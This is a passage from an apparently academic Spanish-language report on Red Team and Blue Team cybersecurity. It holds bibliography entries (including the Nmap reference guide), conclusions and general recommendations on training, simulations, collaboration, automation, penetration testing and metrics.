Internet: <https://openwebinars.net/blog/las-8-mejores-herramientas-open-source-de-deteccion-de-
intrusion/>.

15 GUIA DE referencia de Nmap (Pagina de manual) [An6nimo]. Nmap: the Network Mapper - Free
Security Scanner [pagina web]. [Consultado el 20, marzo, 2024]. Disponible en Internet:
<https://nmap.org/man/es/index.html#man-description>.
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CONCLUSIONES

El informe destaca la importancia critica de implementar estrategias relacionadas
con Red Team y Blue Team en el contexto de la ciberseguridad. A lo largo del
estudio, se evidencia como la interaccion entre estos equipos resulta fundamental
para fortalecer la postura de seguridad de una organizacion.

En primer lugar, se subraya la necesidad de que el equipo Blue Team esté
debidamente equipado y preparado para defender la infraestructura de Tl ante
posibles amenazas. Esto incluye la implementacion de medidas proactivas de
seguridad, como el monitoreo continuo de redes y sistemas, asi como la
actualizacion constante de herramientas y protocolos de seguridad.

Por otro lado, se destaca el papel critico del equipo Red Team en la identificacion
de vulnerabilidades a través de simulaciones de ataques cibernéticos. Estas
pruebas permiten detectar posibles brechas de seguridad antes de que sean
explotadas por amenazas reales, lo que brinda a la organizacion la oportunidad de
implementar medidas correctivas de manera preventiva.

Ademas, se enfatiza la importancia de la colaboracién y la comunicacion entre
ambos equipos. El intercambio de informacion y la retroalimentacién constante
entre el Red Team y el Blue Team son fundamentales para optimizar las
estrategias de defensa y mejorar la resiliencia ante ciberataques.

El informe concluye que la implementacion efectiva de estrategias relacionadas
con Red Team y Blue Team es esencial para garantizar la seguridad de la
infraestructura de TI de una organizacibn en un entorno cada vez mas
amenazante y dindmico. La colaboracion entre estos equipos y la adopcién de
enfoques proactivos de seguridad son clave para mitigar riesgos y proteger los
activos digitales de la organizacion.
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RECOMENDACIONES

Fomentar la formacién continua: Proporcionar oportunidades de
capacitacion y desarrollo profesional para los miembros de ambos equipos.
Esto incluye cursos de actualizacion en técnicas de hacking ético para el Red
Team y entrenamiento en las dltimas tecnologias y metodologias de defensa
para el Blue Team.

Simulaciones realistas y desafiantes: Disefiar escenarios de simulacion que
reflejen de manera precisa las amenazas y vulnerabilidades a las que se
enfrenta la organizaciébn. Esto implica incorporar técnicas de ataque
avanzadas y escenarios complejos para poner a prueba tanto la capacidad de
deteccién y respuesta del Blue Team como la habilidad del Red Team para
identificar brechas.

Intercambio de conocimientos y experiencias: Facilitar espacios de
colaboracion y aprendizaje entre los equipos Red Team y Blue Team para
compartir conocimientos, lecciones aprendidas y mejores practicas. Esto
puede incluir reuniones periddicas, workshops conjuntos y plataformas de
comunicacion interna dedicadas.

Automatizacion de procesos de seguridad: Implementar herramientas de
automatizacion para agilizar tareas repetitivas y mejorar la eficiencia operativa
de ambos equipos. Esto puede incluir la automatizacion de analisis de logs, la
configuracion de alertas tempranas y la gestion de parches de seguridad.
Pruebas de penetracion regulares: Realizar evaluaciones de seguridad
periédicas y pruebas de penetracién internas para identificar y corregir
vulnerabilidades en sistemas y redes. Estas pruebas deben ser planificadas de
manera conjunta por el Red Team y el Blue Team, y los hallazgos deben ser
utilizados para mejorar continuamente las defensas y estrategias de deteccion
y respuesta.

Evaluacion de métricas de rendimiento: Definir métricas de rendimiento
claras y objetivas para medir el éxito de las estrategias implementadas por
ambos equipos. Esto puede incluir la tasa de deteccion de amenazas por parte
del Blue Team, el tiempo de respuesta a incidentes, y la efectividad de las
pruebas de penetracion realizadas por el Red Team.

Al implementar estas recomendaciones, las organizaciones pueden fortalecer la
colaboracion y mejorar las capacidades de deteccion, respuesta y mitigacion de
riesgos de sus equipos Red Team y Blue Team, contribuyendo asi a una postura
de seguridad mas robusta y resiliente.
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